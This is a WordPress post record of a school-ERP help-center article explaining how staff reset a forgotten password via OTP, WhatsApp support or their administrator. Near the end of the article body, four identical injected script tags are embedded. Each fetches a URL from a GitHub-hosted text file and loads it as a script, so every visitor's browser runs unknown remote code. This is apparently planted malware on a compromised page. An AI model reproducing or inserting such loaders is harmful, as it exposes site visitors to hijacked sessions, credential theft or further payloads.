{"id":7781,"date":"2025-01-15T20:21:38","date_gmt":"2025-01-15T14:51:38","guid":{"rendered":"https:\/\/helpcenter.nexterp.in\/helpcenter\/?p=7781"},"modified":"2025-12-11T18:32:12","modified_gmt":"2025-12-11T13:02:12","slug":"what-should-i-do-if-i-forgot-the-password-for-a-staff-account","status":"publish","type":"post","link":"https:\/\/helpcenter.nexterp.in\/helpcenter\/what-should-i-do-if-i-forgot-the-password-for-a-staff-account\/","title":{"rendered":"What should I do if I forgot the password for a staff account?"},"content":{"rendered":"\n<p>You can use the following methods to access your staff account:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Reset Password<\/li>\n\n\n\n<li>WhatsApp Chat Support<\/li>\n\n\n\n<li>Contact School Administrator<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>RESET PASSWORD<\/strong><\/h2>\n\n\n\n<p><strong>Step 1:<\/strong>&nbsp;Open the school URL in a web browser (e.g.,&nbsp;<code>training.nexterp.in<\/code>).<\/p>\n\n\n\n<p><strong>Step 2<\/strong>: Go to the login page and select <strong>Staff<\/strong> as the account type.<\/p>\n\n\n\n<p><strong>Step <\/strong>3: Click on <strong>Forgot Password<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"498\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Enter-URL-Staff-Forgot-Password-1024x498.png\" alt=\"\" class=\"wp-image-10958\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Enter-URL-Staff-Forgot-Password-1024x498.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Enter-URL-Staff-Forgot-Password-300x146.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Enter-URL-Staff-Forgot-Password-768x374.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Enter-URL-Staff-Forgot-Password-1536x747.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Enter-URL-Staff-Forgot-Password-1200x584.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Enter-URL-Staff-Forgot-Password.png 1912w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step <\/strong>4: Enter the registered phone number or email ID associated with the account.<\/p>\n\n\n\n<p><strong>Step <\/strong>5: Click <strong>Submit<\/strong> to receive an OTP.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"502\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile-1024x502.png\" alt=\"\" class=\"wp-image-10946\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile-1024x502.png 1024w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile-300x147.png 300w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile-768x377.png 768w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile-1536x754.png 1536w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile-1200x589.png 1200w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-Mobile.png 1908w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 1362px) 62vw, 840px\" \/><\/figure>\n\n\n\n<p><strong>Step <\/strong>6: Enter the OTP you received and click <strong>Submit<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"763\" height=\"871\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-OTP.png\" alt=\"\" class=\"wp-image-10947\" style=\"aspect-ratio:16\/9;object-fit:cover\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-OTP.png 763w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Parent-Forgot-Password-Enter-OTP-263x300.png 263w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px\" \/><\/figure>\n\n\n\n<p><strong>Step <\/strong>7: On the next screen, enter a new password and click <strong>Confirm and Sign In<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"754\" height=\"864\" src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Forgot-Password-Enter-New-Password-Confirm-Password-Screen-.png\" alt=\"\" class=\"wp-image-10945\" style=\"aspect-ratio:16\/9;object-fit:cover\" srcset=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Forgot-Password-Enter-New-Password-Confirm-Password-Screen-.png 754w, https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/01\/Forgot-Password-Enter-New-Password-Confirm-Password-Screen--262x300.png 262w\" sizes=\"auto, (max-width: 709px) 85vw, (max-width: 909px) 67vw, (max-width: 984px) 61vw, (max-width: 1362px) 45vw, 600px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading has-medium-font-size\"><strong>WHATSAPP CHAT SUPPORT<\/strong><\/h2>\n\n\n\n<p>If the above steps do not work, please contact our WhatsApp support team at <strong>7337554528<\/strong> between <strong>8 AM and 6 PM (IST)<\/strong> for further assistance.<\/p>\n\n\n\n<p>Before contacting WhatsApp support, ensure you have the following details ready:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>NextOS URL\/School Code<\/strong><\/li>\n\n\n\n<li><strong>Registered Contact Number<\/strong> (must be available in school records)<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading has-medium-font-size\">CONTACT SCHOOL ADMINISTRATOR<\/h2>\n\n\n\n<p>If you are unable to reset\/change the password OR unable to access your account using the steps mentioned above, please contact your school administrator for further assistance.<\/p>\n\n\n\n<h2 class=\"wp-block-heading has-medium-font-size\"><strong>ADDTIONAL ASSISTANCE<\/strong><\/h2>\n\n\n\n<p><strong>Note:<\/strong> You can also refer to the following guidelines to know more about login process:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-admin\/post.php?post=7759&amp;action=edit\">How can a staff member log in to their account using the &#8220;Sign in with Google&#8221; option (Web Version)?<\/a><\/li>\n<\/ol>\n\n\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n\n\n<p>Video Tutorial :<\/p>\n\n\n\n<figure class=\"wp-block-video\"><video controls src=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-content\/uploads\/2025\/12\/B17-5-What-shoul-i-do-if-i-forgot-the-password-of-my-admin-account.mp4\"><\/video><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>You can use the following methods to access your staff account: RESET PASSWORD Step 1:&nbsp;Open the school URL in a web browser (e.g.,&nbsp;training.nexterp.in). Step 2: Go to the login page and select Staff as the account type. Step 3: Click on Forgot Password. Step 4: Enter the registered phone number or email ID associated with &hellip; <a href=\"https:\/\/helpcenter.nexterp.in\/helpcenter\/what-should-i-do-if-i-forgot-the-password-for-a-staff-account\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;What should I do if I forgot the password for a staff account?&#8221;<\/span><\/a><\/p>\n","protected":false},"author":26,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[835,709],"tags":[891],"post_folder":[],"class_list":["post-7781","post","type-post","status-publish","format-standard","hentry","category-nextos-knowledge-base","category-user-account-management","tag-password-change"],"_links":{"self":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7781","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/comments?post=7781"}],"version-history":[{"count":17,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7781\/revisions"}],"predecessor-version":[{"id":18266,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/posts\/7781\/revisions\/18266"}],"wp:attachment":[{"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/media?parent=7781"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/categories?post=7781"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/tags?post=7781"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/helpcenter.nexterp.in\/helpcenter\/wp-json\/wp\/v2\/post_folder?post=7781"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}